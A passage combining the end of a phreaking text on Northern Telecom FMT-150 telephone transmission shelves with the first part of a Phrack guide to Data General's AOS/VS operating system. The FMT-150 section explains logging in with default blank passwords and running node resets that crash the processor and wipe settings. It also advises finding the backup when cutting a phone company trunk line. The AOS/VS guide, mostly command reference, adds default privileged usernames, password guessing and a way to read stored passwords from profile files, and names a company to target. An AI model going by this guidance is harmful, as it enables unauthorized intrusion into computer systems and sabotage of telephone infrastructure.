If you approach the FMT‑150 shelf and have a previously described interface, then you can login. Also if you are scanning (GTE (Northern Telecom) areas only) and come across a "sitting system" that displays a message (below) after hitting 3 returns, you are in!

1 ‑ DEC VT100

2 ‑ NT Meridian 6000 (Crosstalks or Procom with VT100 emulation)

3 ‑ Tandy 200 (running Telecom) F4‑ NTCAMMS MDU

Enter Terminal Type:

Choose your terminal type, usually 2 (use VT100) if you are calling in, and it will prompt you with a "Login: " prompt, this is a trick, there are no user levels, the "Login:" simply means enter the password, and the default is to hit return, so always try that first. If a password is installed then try something like FMT‑150 or something that you would think they would use. You should get a screen like this one after choosing the terminal type:

FMT‑150 Transmission System

Northern Telecom

Firmware Copyright Northern Telecom 1988

‑ ‑ Node Id.: 123456789012345‑ ‑ ‑ ‑ Last Update 87/03/06 11:07Login: (remember, enter a password here, no user levels!)

‑ ‑ Syst Id.: 123456789012345‑ ‑ ‑ ‑ Time: 87/03/06 11:07‑ ‑ ‑

After Logging In

(commands are presented in an outline configuration, you should be getting screens of output, but this outline will show you what to input. # = number, not pound, <sp> = spacebar.)

Example: If I wanted to set the system's date to 1/4/1943 (heh) then after logging in I would press, "c" then "d", then "43", then "1" and finally "4".

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

a Alarms (once again, lame stuff)

o Optical Tx/Rx unit‑level alarm

screen.

t Translator module‑level alarm

screen.

m DM‑13 multiplexer‑level alarm

screen.

c Common equipment‑level and customer

input/output points alarm screen.

c Configuration (!)

a alarm logger

e enable alarm logger

d disable alarm logger

i

# <sp> "name" Name a customer input point o

# <sp> "name" Name a customer output point d

#1 <sp> #2 <sp> #3 <sp> Set date: #1 is year, #2 is month

#3 is day.

t

#1 <sp> #2 <sp> #3 <sp> Set time: #1 is hour, #2 is

minute.

p

"oldpass" "newpass" Change password from "oldpass" to

"newpass".

s

"system ID name" Name System ID

s Switching commands (extremely extensive, so I will include a small portion) # <sp>

m

# <sp>

<return> Display DM‑13 Switch Screen t

<return> Display translator/optics

switch status for node #.

<return> Display translator/optics switch

status for local node or node last

displayed.

m Maintenance Commands

r (see note)

* Reset all nodes

# <sp> Reset node #

t

# <sp>

o Operate test of customer

input/output points and E2A

ports.

r Release test of customer

input/output points and E2A

ports.

l Logout of the FMT‑150 system.

n Network Status

<return> Display network status screen.

NOTE: After executing a local or global MCU reset, the message "PROCESSOR CRASH" will appear on the bottom of the CRT's screen. As a result, the user will have to log back into the system. In addition, a global MCU reset will clear all "names" and "settings" previously defined (that is, system ID, node, customer inputs/outputs, time and date).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Many other commands are listed but they are extremely numerous and useless to the average phreak.

If a "terminal" that is 4.4 inches tall with a center screen and 2 12 key keypads on either side is seen on the shelf, this will be a CAMMS terminal, all functions above can be performed with this unit, its menu driven.

Troubleshooting

This section is the manual is devoted to fixing problems in the FMT‑150, aimed at the average see‑my‑crack‑of‑the‑ass telco maintenance man.

Basically, if you see any red LEDs, inspect them and judge if you should get the hell out of the CO or not, usually red LEDs mean trouble.

REDUNDANCY

When doing anything of this nature to a fone company, you must remember, they are not stupid, everything has something to

fall back on, if you were to cut a trunk line, there would be another to take its place. Usually there will be only one backup, so be meticulous and find both.

Outro

Hope this file was worth something to somebody, it applies mostly to those in a GTE area, since GTE uses Northern Telecom equipment and most everyone else uses AT&T stuff.

A Guide to Data General's AOS/VS Part I

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 14 of 27

()()()()()()()()()()()()()()()()()()()()

A Guide to Data General Corporation's

AOS/VS System

PART I

by Herd Beast

INTRODUCTION

~~~~~~~~~~~

This file is a full (as full as such a file can get) guide to the AOS/VS system. The main reason for writing it is that from what I've seen, there is practically no info (in the form of files or otherwise) about it. I won't say I'm the only one who knows anything about it, but I had a hell of a time getting any sort of help when I started hacking these systems (I didn't get that help, in case you were wondering, and wrote this file all by myself 'cause I'm a MAN! Hahaha! <snort> <snort>).

I will explain a little about AOS/VS and then explain some of the commands and security features in it. This file is not a buffer of any help facility, although much information can and will be found in the help facility.

I can be contacted (hopefully) at hbeast@mindvox.phantom.com. If you want a nice start, and a front page on Newsweek, some Texaco ("Star of the American Road") systems run AOS/VS.

I cannot, will not, and do not assume liability for ANY of the effects of the use of this file. Also, I cannot guarantee that EVERYTHING will work EVERYWHERE, so treat this file as a reference. This file by no means covers everything about AOS/VS.

IDENTIFYING THE SYSTEM

~~~~~~~~~~~~~~~~~~~~~

Should you just fall at the system prompt, you might mistake it for a VMS. However, blank prompts like that are rare. An AOS/VS will identify itself like this: (this and all other buffered info in this file are from an AOS/VS II with CLI32. Only the best for Phrack)

AOS/VS II 2.20.00.12 / EXEC‑32 2.20.00.07 31‑May‑93 22:51:25 @CON177

Username:

Password:

Another thing different will be the incorrect login message:

Invalid username ‑ password pair

The header line lists the system version, current time/date and the console you are using.

When you reach the maximum incorrect logins defined in the system, it will show the line below and disconnect:

Too many attempts, console locking for 10 seconds

When you do succeed to log on, the system will display:

‑‑‑‑‑‑

Copyright (C) Data General Corporation, 1980 ‑ 1992 All rights reserved.

Licensed material ‑‑ property of Data General Corporation This software is made available solely pursuant to the terms of a DGC license agreement which governs its use.

((NOTE: Or something else. This is the default))

‑‑‑‑‑‑‑‑

Most recent logon 1‑Jan‑93 10:10:01

Very clear. Before you do anything, type CHARACTERISTICS. You will then get output like this:

/605X/LPP=24/CPL=80/BREAK=BMOB/TCC=40000/TCD=5000/TDW=1000/THC=2000/TLT=2000 /ON/ST/EB0/ULC/WRP/CTD /OFF/SFF/EPI/8BT/SPO/RAF/RAT/RAC/NAS/OTT/EOL/UCO/MRI/FF/EB1/PM/NRM/MOD/TO/TSP/ C/FKT/VAL/HOFC/SHR/OFC/IFC/16B/ACC/SRDS/XLT/AUTOBAUD/CALLOUT/MDUA/HDPX/SMCD/RT D/HIFC/G1G0/DKHW/NLX

Look for "/NAS". It stands for non ANSI standard, which means that if you are using ANSI (probably you are), you needs to issue CHARACTERISTICS/OFF/NAS, should you find "/NAS" listed after "/ON".

Upon logging off from the system (BYE), you will see:

AOS/VS II CLI Terminating 1‑JAN‑93 11:11:01

Process 180 Terminated

Elapsed Time 0:16:26, CPU Time 0:00:02.447, I/O Blocks 281 (Other console jobs, same USERNAME ‑‑ 16)

User 'HBT' logged off @CON228 1‑Jan‑93 11:11:01

SYSTEM DEFAULTS

~~~~~~~~~~~~~~

These are accounts I usually found existing. As usual, they are really similar to those of any other system.

USERNAME

‑‑‑‑‑‑‑‑

((Privileged accounts))

OP EXEC default username

SYSMGR System manager

CEO_MGR If the system is running CEO OPER

OPERATOR

((Regular accounts))

CEO.xxxxx If the system is running CEO, a CEO

user, xxxxx being his number.

As for password guessing, well, it's all been said. Try the username, with some modification, you might get in. As dumb as it sounds, yes, people do have weak passwords, even today, although not everywhere.

SYSTEM STRUCTURE

~~~~~~~~~~~~~~~

In this section I'll try to describe the real basics of AOS/VS. I will describe a few commands HERE, and not under "Command List", these commands will be the basic commands: change directory, list files, etc, needed to survive in any system.

The AOS "shell" is called CLI (Command Line Interpreter). There are two versions of CLI, CLI16 and CLI32, with CLI32 being more advanced. The CLI version affects the system prompt, the way commands are handled by the system and by the user, and more. For example, some command switches do not exist under CLI16 (unless very important, I omitted switches that work only under CLI32 from this file).

Here are the privilege levels available under AOS/VS:

CLI16 PROMPT CLI32 PROMPT PRIVILEGES MODES

‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑

) ) None

Sm) System Manager

+) Sp) Superprocess

*) Su) Superuser SmSp) System Manager and Superprocess SmSu) System Manager and Superuser #) SpSu) Superprocess and Superuser SmSpSu) System Manager, Superprocess, Superuser

AOS/VS doesn't grant privileges upon logon. A user's profile may state the user can access privilege level So‑And‑So, and if the user later needs that level, he calls upon a SUPER utility to grant him that level. This is the place to explain how several different utilities work. OPERATOR grants the user the ability to access diskettes in dump or load sessions (see the section titled "System Commands") in sequential order, instead of accessing them one by one. SUPERUSER turns off all access checking, enabling the user to do anything with any file on the system. SUPERPROCESS gives the user the ability to terminate, block, unblock, or change priorities of any process on the system. The last command, PRIVILEGE, which is available only under CLI32, enables the user to set both SUPERUSER and SUPERPROCESS access. It also offers the only way to set SYSTEMMANAGER access, which is required for operations like changing time or date.

Command are executed by calling their names, or any part of their name that only fits them. For example, SUPERUSER can be abbreviated as SUPERU. It is important to remember that command switches MUST follow the command without any space, or else the command will try to process the switches! For example, CHARACTERISTICS /OFF/NAS will result in an "Error: Illegal filename character characteristics,/off/nas".

The root directory directory is called ':'. Any other directories are under it, for example ':OUT' and ':OUT:RALF'. If, for example, you FTP into an AOS/VS and use "cd /" you will be moved in ':'. If you use "cd /out/ralf" you will be moved into ':OUT:RALF'. To make this much more clearer (right):

:

HBT

|

|

TEXT

/ \

PHRACK SEX

Legal characters in file or directory names are all the alphabet and numbers, plus '$', '_', '.' and '?'.

Moving from directory to directory is done by using the "DIRECTORY" command. Without any arguments, DIRECTORY shows the current path. With an argument, DIRECTORY changes to that directory.

DIRECTORY [directory]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/I Changes to the initial directory

/I path Changes the initial directory to "path"

/P Changes to the previous directory

To list files in a directory, use "FILESTATUS". Without arguments, FILESTATUS lists files in the current directory. With a path argument, FILESTATUS lists file in that path.

FILESTATUS [directory]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/[AFTER|BEFORE]/[TCR|TLA|TLM]=date and/or time

Shows files matching the selection date or time. The selections are: time created (TCR); time last accessed (TLA); and time last modified (TLM). The difference between accessed and modified is pretty clear, for example if the file is an executable. The date/time format is: for TIME ‑ hour‑minute‑sec (xx‑xx‑xx); for DATE ‑ day‑month‑year (xx‑xxx‑xx); for BOTH dd‑mmm‑yy:hh:mm:ss. Example command lines will be

FILESTATUS/AFTER/TCR=11 Created after 11 AM FILESTATUS/BEFORE/TLM=01‑JAN‑90 Modified before 01/01 1990 FILESTATUS/AFTER/TLA=01‑JAN‑90:11 Accessed after 11 AM,

01/01, 1990

/ASSORTMENT

Normally, FILESTATUS output is just file name. With /ASSORTMENT, FILESTATUS shows file type, time/date of creation, and length in bytes. Similar to Unix, if the file is a link, the file type is set to LNK and FILESTATUS shows its path.

/COUNT Tells how many files are in the directory. [CLI32]

/[DCR|DLA|DLM]

Shows date of creation (DCR); date last accessed (DLA); and date last modified (DLM).

/LENGTH Displays file length in bytes.

/LINKNAME

If the file is a link, FILESTATUS displays the information about the file that it's linked too. For example, if BOB is linked to RON, FILESTATUS/LINKNAME BOB would display RON's details. Otherwise, nothing happens.

/TYPE=[\]type

Displays files of type, or all files not of that type (if \type) was used. See below for valid file types.

/UDA If the file has a UDA (user data area), its presence is displayed.

The CLI's wildcards (sort of), are '=', '^', ':' and '@. '=' means the current directory. '^' means the parent directory. ':' is (as already said) the root directory. '@' means the devices directory (where consoles, tape drives, modems, etc are. Similar to /dev on Unix). Note that when talking about directories, the ':' is already included. For example, if you're in :UDD:HBT:TEXT, and want to move to :UDD:HBT:BIN, you'd type DIRECTORY ^BIN, and not DIRECTORY ^:BIN. File wildcards are '+', which is equivalent to '*' at DOS, and '#' which is equivalent to '*.*' at DOS. For example, FILE +.CLI will show all the files whose names end with ".CLI"; FILE :UDD:# will display all the files in UDD (which won't happen if you just issue FILE :UDD ‑‑ in that case, you'll see only information about the directory UDD, and not the files within it).

As with Unix, you can enter more than one command on a line if you separate the commands with a ';' (a semicolon). If you need more than a line for your commands, type an '&' before pressing Return, and the CLI will just keep on reading, instead of processing the command line and try to run it. This goes ONLY for a sequence like this: "&<Return>", an '&' anywhere else acts just like any other character.

There are several control characters the CLI takes and uses:

CONTROL CHAR WHAT IT DOES

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑

Ctrl‑C Begins a Ctrl char sequence.

Ctrl‑D End of file.

Ctrl‑L Clear screen.

Ctrl‑P Don't interpret the following

character in any special way.

Ctrl‑S Stops output to the terminal.

Ctrl‑Q Resumes output to the terminal.

Ctrl‑U Cancel (delete) current input line.

Ctrl‑C Ctrl‑A Interrupt current process.

Ctrl‑C Ctrl‑B Terminates current process.

Ctrl‑C Ctrl‑C Empties the input buffer.

Ctrl‑C Ctrl‑E Terminates current process and

create a break file (where

termination message is stored).

If the CLI is run with a /NOCA switch, it will ignore Ctrl‑C Ctrl‑A sequences, so if put in the start of a macro file, it won't allow you to break that macro and enter the CLI.

AOS/VS had many file types. File types are three letter acronyms (although not always) for the file; the same way DOS and VMS have extensions, the file type controls what the file is (it can have any extension in its name). File types have a decimal numbers assigned to them, as well. There are 70 file types, although the operating system reserves space for 128. The user can define his own file types. These are some of the he AOS/VS file types:

TYPE NUMBER TYPECODE MEANING

‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

All these types / 11 LDU Logical disk unit

are directories ‑| 12 CPD Control point directory \ 10 DIR Directory 0 LNK Link 68 TXT Text 1 SDF System data file 2 MTF Magnetic tape file 13 MTV Magnetic tape volume 22 MTU Magnetic tape unit 49 CON Console 51 RMA Remote host (RMA) 52 HST Remote host (X.25 SVC) 54 PVC Remote host (X.25 PVC) 64 UDF User data file 69 LOG System log file 74 PRV AOS/VS program file 75 WRD Word processing file 87 UNX Unix file (created on a Unix) 95 SPD Spreadsheet file 104 PIP Pipe 105 TTX Teletex file

"Generic files" are actually pointers that help using devices and files. For example, the @NULL generic file functions like /dev/null on Unix. Here are the generic files:

@CONSOLE The process' (user's) console.

@DATA A long file created by the user that will be used as data by a program. @DATA is set using DATAFILE.

@INPUT A short file created by the user that will be used as input by a program. @INPUT is set using PROCESS/INPUT=.

@NULL Well, null.

@LIST A long output file that will be used as a program's output. @LIST is set using LISTFILE.

@OUTPUT A short output file for a program. @OUTPUT is set using PROCESS/OUTPUT=.

When a program is run, it will sometime try to open one of these generic files. If they're not set, it will fail on error 21 (non existent file). But if the file is set, it can use it. So, for example, you can use PROCESS/OUTPUT=@CONSOLE PROGRAM for output to go to you, or PROCESS/OUTPUT=OUT_FILE PROGRAM for it to go to OUT_FILE.

"Device files" are files the connect to hardware parts, such as modems, printers, tapes, diskette drives, FAX machines, etc. In due time, a program called EXEC makes a connection between processes and devices and utilizes those devices (see the section titled "The 'EXEC' Program"). Some devices are also used by the backup related programs DUMP and LOAD, and more. Some of these are:

@MTB0:x The magnetic tape unit #0, x being a dumpfile on the tape (x starts from 0).

@DPJ A diskette device name.

@LFD A generic labeled diskette file name.

The equivalent of a PATH (usually environment variable) in other systems is called SEARCHLIST in AOS/VS. When you call a command, or ask for help, the CLI looks through your SEARCHLIST for the files. So, assuming you typed HELP MODEM, and somewhere in your searchlist there exists a file called MODEM.CLI, HELP will show you,

modem ‑ Macro, File :UTIL:COMM:MODEM.CLI

The same goes for other commands, even TYPE (TYPE MODEM.CLI from :UDD:HBT, if :UTIL:COMM is in your searchlist and there's no MODEM.CLI in :UDD:HBT will work).

To display your searchlist, just use plain SEARCHLIST. To change it, use SEARCHLIST path,path,path ...

It's possible to set a password for your current CLI session. This password is not the password used upon login! It's a password the user sets to protect his session. He then types LOCK, and from then, anyone wishing to use the user's CLI (from the user's console), must enter the password first. Legal passwords are up to 32 characters long, not including Ctrl characters.

The CLI offers several levels to the user. It starts on the highest level, 0, and the user may create other level, and use POP to move up a level, and PUSH to go down a level. When a user POPs to a level, the CLI environment of the older (higher) level remains (the environment of the level he was in until that time is therefore changed). When he PUSHes, the current level's environment is copied to the lower level. To display the current CLI level, use LEVEL. To display the level's environment, use CURRENT. To display an upper level's environment (except when at the highest level), use PREVIOUS.

When you want to print a file, or run something in the background, you have to submit it as a job. The submit a printing job, use the QPRINT command (will print the file). To submit a batch job, which is for executing a command, use QBATCH (for example, QBATCH MASM ASMPROG).

AOS/VS had a facility called "queues", managed by the EXEC program (see "The 'EXEC' Program"). A queue is a place where file transfer, batch, and printing jobs are stored until the right process can take them and execute them. The standard queues are:

QUEUE NAME JOB TYPE CONTENTS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑

BATCH_INPUT Batch Batch input files.

Submitted by QBATCH or QSUBMIT.

BATCH_OUTPUT Printing Output files from finished

batch jobs (usually sent to a

line printer).

BATCH_LIST Printing List files from finished batch

jobs (usually sent to a line

printer).

((Batch jobs are submitted through QBATCH.))

LPT Printing Print jobs submitted by QSUBMIT.

MOUNTQ Mount Tape mount requests.

Submitted by MOUNT.

After a job has been submitted, use QDISPLAY to show its status. Use QHOLD to hold jobs and QUNHOLD to release them. Last, to display the status of all queues, use QDISPLAY as well.

AOS/VS also has an extensive help facility. For help on broad topics, use HELP (to list topics) and then HELP *TOPIC. For help on system commands, use HELP COMMAND (for a list of switches) or HELP/V COMMAND for more details.

CLI MACRO PROGRAMMING

~~~~~~~~~~~~~~~~~~~~

Macro filenames usually end with ".CLI" are usually text files (filetype TXT). A macro is a file that will be executed when called (adding .CLI to the name when calling isn't necessary), and perform the commands (or other macros) in it. If the macro matches the name of a CLI command, the macro must be called together with the .CLI part of its name. Macros expand arguments in the following way:

Range Arguments (like filenames):

%x% Argument number x, with its switches. %0% is the macro's name.

%‑% All the arguments, with their switches, except for %0%. %x‑y,i% Arguments x through y, in jumps of i. If x or i are missing, the CLI assumes 1. If y is omitted, 32767 is assumed. For example, if the arguments were "1 2 3 4 5 6 7", a %2‑6,2% call expands to "2 4 6".

Switch Arguments:

%x/% All the switches of argument x.

%x\% Argument x, without its switches.

%x/y% Argument x, with switch number y.

%x/y=% The value of argument's x switch number y.

%x\y% All the switches of argument x, including their values, except for switch number y.

Conditionals are used in the form of [CONDITIONAL,ARGS]. If a conditional returns TRUE, the CLI executes everything after it until it reaches an ELSE or an END. Otherwise, it skips to an ELSE or an END (basic programming).

!EQUAL True if both arguments equal alphabetically.

!NEQUAL True if both arguments don't equal alphabetically.

!UEQ True if both arguments equal numerically.

These are called pseudo macros, and are usually built like conditionals, although sometimes they just substitute for a part of the environment. There are about 60 of them, but I'll only list a selected few for brevity.

[!ACL path] Expands for the ACL of path.

[!ASCII octnum] Expands to the ASCII character with the octnum octal number. For example, newline is octal 12. [!CLI] Expands to CLI32 or CLI16, according to the CLI. [!DATE] Date, like 01‑Jan‑93.

[!SYSTEM] Expands to the type of OS.

[!SEARCHLIST] Expands to the search list.

[!LEVEL] Expands to the current CLI level.

[!CLI] Expands to the CLI type.

[!EXPLODE args] Puts a comma between each pair of character in args. When used with STRING, in converts spaces and tabs too. When used with WRITE, in converts into space. [!LISTFILE] Expands to the path of the listfile. [!USERNAME] Expands to the username of the person running the macro.

[!LOGON] Returns CONSOLE if logged on to a terminal or BATCH if logged in on a batch stream (only works for EXEC logons).

[!DATAFILE] Expands to the path of the datafile.

[!HID [host]] Returns the host ID. With [host] return the host ID of [host].

[!HOST [host]] Returns the host name.

[!STRING] Expands to the value of the CLI string.

A more complex pseudo macro is !READ:

[!READ[/args] text]

!READ prints text to the output and then expands to what was received from the input (which is considered finished when a newline is received). !READ's args are functional only under CLI32 and are:

/EOF=str

The string that will be returned if EOF is met.

/FILEID=file

Reads from file instead of @OUTPUT. The file must be already opened using OPEN.

/LENGTH=x

Read until x characters were typed.

/S

Discards all typed after a semicolon (';') or a left bracket ('['). Otherwise, that text must be a valid CLI command or macro, or a pseudo macro or macro ending with a right bracket if following the left bracket.

Note that all pseudo macros, including !READ can be used at the command line and not just in CLI macro files.

Here's an example:

COMMENT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

COMMENT Examples of the use of conditionals and arguments

COMMENT in macros.

COMMENT This macro was invoked like this:

COMMENT HMAC 9 0 000

COMMENT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[!EQUAL,%1%,]

WRITE,,,,Execute with arguments please!

[!ELSE]

[!EQUAL,%2%,%3%]

WRITE,,,,%2% and %3% do match ALPHABETICALLY. [!ELSE]

WRITE,,,,%2% and %3% don't match ALPHABETICALLY. [!END]

[!UEQ,%2%,%3]

WRITE,,,,%2% and %3% do match NUMERICALLY.

[!ELSE]

WRITE,,,,%2% and %3% don't match ALPHABETICALLY. [!END]

[!UEQ,%1%,%2%]

WRITE,,,,%1% and %2% do match NUMERICALLY.

[!ELSE]

WRITE,,,,%1% and %2% don't match NUMERICALLY. [!END]

[!END]

COMMENT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

COMMENT The output would be:

COMMENT 0 and 000 don't match ALPHABETICALLY.

COMMENT 0 and 000 do match NUMERICALLY.

COMMENT 9 and 0 don't math NUMERICALLY.

COMMENT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[!EQUAL,[!READ What's your name?,,],HBT]

WRITE,,,,[!ASCII 12]You're HBT.

[!ELSE]

WRITE,,,,[!ASCII 12]You're not HBT.

[!END]

[!EQUAL,[!CLI],CLI16]

WRITE,,,,[!ASCII 12]I was going to show you something else. WRITE,,,,Too bad you're using CLI16 which won't let READ take arguments. [!ELSE]

STRING [!READ/LENGTH=1 Continue? (Y/N)] [!EQUAL,[!STRING],N]

WRITE,,,,[!ASCII 12]Good man [!USERNAME].

[!ELSE]

[!EQUAL,[!STRING],Y]

WRITE,,,,[!ASCII 12]Too bad Mister I‑Use‑[!SYSTEM] [!ELSE]

WRITE,,,,[!ASCII 12]Learn English guy. [!END]

[!END]

[!END]

WRITE,,,,Thank you for using %0%.

AOS/VS can also be programmed in 16 bit and 32 bit Assembly (and compiled using MASM), BASIC, Fortran, C, Pascal and probably others.

This second program is actually quite simple. I do not even read the UPF type file directly; I just feed text into the PREDITOR (see the next section).

COMMENT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

COMMENT Delete the little help screen if you are under

COMMENT CLI16. Or just run CLI32.

COMMENT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[!EQUAL,%1%,]

WRITE,,,,[!ASCII 12]Format is: %0%/A NAME WRITE,,,,,,,,,,,,or /L NAME

[!ELSE]

[!EQUAL,%1%,]

WRITE,,,,,,,Which user exactly?

[!ELSE]

[!NEQUAL,%0/L%,]

WRITE/L=?USER.TMP L WRITE/L=?USER.TMP %1% WRITE/L=?USER.TMP

WRITE/L=?USER.TMP b PROC/DEF/IOC/IN=?USER.TMP/BLOCK PREDITOR DEL ?USER.TMP

[!ELSE]

WRITE/L=?USER.TMP c WRITE/L=?USER.TMP %1% WRITE/L=?USER.TMP y WRITE/L=?USER.TMP %1% WRITE/L=?USER.TMP n WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP

WRITE/L=?USER.TMP b PROC/DEF/IOC/IN=?USER.TMP/BLOCK PREDITOR DEL ?USER.TMP

[!END]

[!END]

[!END]

SYSTEM SECURITY

~~~~~~~~~~~~~~

The AOS/VS login is performed in the following manner.

Every username has a file associated with it in the :UPD directory. That file is its profile, and contains the account profile. Once the user has entered a correct username/password pair, the operating system loads the user's profile (which includes how much memory and disk space the user is allowed to use and the user's allowed privileges) into its internal tables. Several privileges which can be set are the initial user directory and initial program that will be executed upon completion of the login (eg, the CLI); how many processes the user may run; what process priorities the user has; and what SUPER privileges the user has (eg, SUPERUSER, SUPERPROCESS).

As mentioned, if the user has SUPER privileges, he must activate them himself (using the right command, or PRIVILEGE if using CLI32).

An important thing to know about password security is that if the system is running Data General's XODIAC networking software, user's might not be able to access remote machines through the network if the passwords are encrypted. Therefore, if you are on a XODIAC host, chances are the passwords won't be encrypted. The ACL of the :UPD directory doesn't let every user can access it, though.

Passwords are changed by the user by pressing Ctrl‑L immediately after entering the password at login. This will only work for users that have the privilege to set their own passwords. Legal passwords are 6 to 15 characters.

This the format (the fields) of the AOS/VS profiles:

* Password

* Initial program To be executed after login

* Initial IPC file The LOGON file

* Initial directory

* Default user priority The user's process priority

* Maximum queue priority The highest queue priority which the user can set for a batch job. The lower the number, the higher the priority (1‑255).

* Unlimited son processes

* Maximum son processes If the above option if off.

* Disk quota in blocks

* Logical address space Allows the user to control the size of the (batch) logical address space in which his programs will be executed. If ‑1, the system sets. * Minimum working set The minimum number of pages a user can have in (batch) their active processes. If ‑1, the system determines the value according to the program's demands.

* Maximum working set

(batch)

* Logical address space

(non batch)

* Minimum working set

(non batch)

* Maximum working set

(non batch)

* Encrypt password

* Superuser

* Superprocess

* Use IPC Allows the user to make IPC calls.

* Use console

* Use batch

* Use virtual console Virtual consoles are created by networked logins.

* Use modem A modem is a console with the characteristic of /MOD on.

* Change password

* Change priority

* Change type

* Change username Allows user to become another username without actually logging in into that user's profile. * Access devices Allows user to directly issue Assembly instructions to devices.

* Create without block Allows the user to start a son process without blocking the father process.

* System manager privileges

* Access local devices remotely

* Change addr. space type Allows 32 bit processes to be called from 16 bit processes (usually on, since there is a CLI16, but most programs are 32 bit).

* Change working set limit Allows user to change the working set size of programs.

* Comments

User profiles can be created, deleted, read, and modified from the AOS/VS User Profile Editor: PREDITOR. PREDITOR gives you a prompt from which you can read any account and the values of its fields. PREDITOR does not, however, display the password field, whether it's encrypted or not ‑‑ just an indication of what the Encrypt Password field is set to. This is easily overcome, since if you can execute the PREDITOR, you can just as well SED the :UPD:USERNAME file and look at the password (it's right up there) ‑‑ PREDITOR can only be loaded by a user that can become Superuser.

Legal commands for the PREDITOR are Create, Delete, Edit, List, Question, Rename, and Use. They can all be abbreviated to their first letter. When CREATE is called, it first asks if you want to set the password, and depending on the answer asks you to enter a password. It then queries about the other fields, giving you three options (usually): YES, NO, and NL, the system's default. DELETE just asks for a confirmation on deleting the user, and also his home directory. EDIT is just like CREATE, allowing you to modify any field in the user's profile (including the password). LIST lists the status of every field in the profile (by using a template profile, such as '+', one could view every user on the system). QUESTION sets the system defaults, which will later be used by CREATE and EDIT. RENAME allows you to rename a user to another name, and USE changes the value in the !DEFAULT variable (your username).

Logins are handled by a program called EXEC (that's what the EXEC‑32 x.xx.xx.xx part in the login message means). EXEC just reads the username/password and if correct, logs the user in. After EXEC has been completed, the Initial Program from the profile is run. The commands for logins are CONTROL @EXEC DISABLE and ENABLE. See "The 'EXEC' Program" for more information about EXEC.

When using ENABLE, the console receives login capabilities; apart from actually logging in, EXEC will also display :UTIL:LOGON.BANNER.SCREEN.

ENABLE

‑‑‑‑‑‑

/ALL Gives all the consoles the said capabilities.

/TRIES=x Sets maximum login tries to x.

/STOP This will have the same result as if an operator issued CONTROL @EXEC DISABLE <console> after the maximum login tries was exceeded.

/CONTINUE

Lock console for 10 seconds and then continue.

/FORCE Change the other parameters while the console is enabled.

SYSTEM COMMANDS

~~~~~~~~~~~~~~

Every command has its own switches. However, all commands accept the /1, /2, /L and /Q switches (and /STR=string and /ESTR=string under /CLI32).

/1=ERROR|ABORT|IGNORE|WARNING

/2=WARNING|ERROR|ABORT|IGNORE

Controls what the program will do under a class 1 or 2 error. The first option listed is the default. ERROR displays "Error: something" and stops command execution. ABORT aborts the command. IGNORE ignores the error, and WARNING displays "Warning: something" and continues with the command.

/L=path The command will store all its output in 'path'.

/Q Display output in columns with on space separating them (an exception to this switch is TYPE).

/STR=string

/ESTR=string

The command will store its output in the 'string' string variable, which can be viewed later using the STRING command. If there is no output or the command is TYPE or COPY the string is set to null. /ESTR is for error output, /STR is for regular output.

Some important AOS/VS commands are listed next. I included information about the DUMP and LOAD commands for information purposes only; as they require diskettes, I don't think you'll use them daily. However, I didn't go into diskette handling, etc in detail.

Sorted alphabetically:

ACL <path>

‑‑‑‑‑‑‑‑‑‑

ACL is a utility to control the ACL (Access Control List). An ACL is just what is sounds like: it includes a list of usernames and what kind of access they have to the file. ACL used one‑letter access code, as follows.

LETTER TYPE/FILE TYPE/DIR

‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A(ppend) Append to a file. Create files in the

directory or move files

into it.

E(xecute) Execute the program. Allows access to

the directory

changing into it,

reading, etc).

O(wner) Allows the user to change the ACL or erase the file/dir.

R(ead) Read a file. List the files in

the directory.

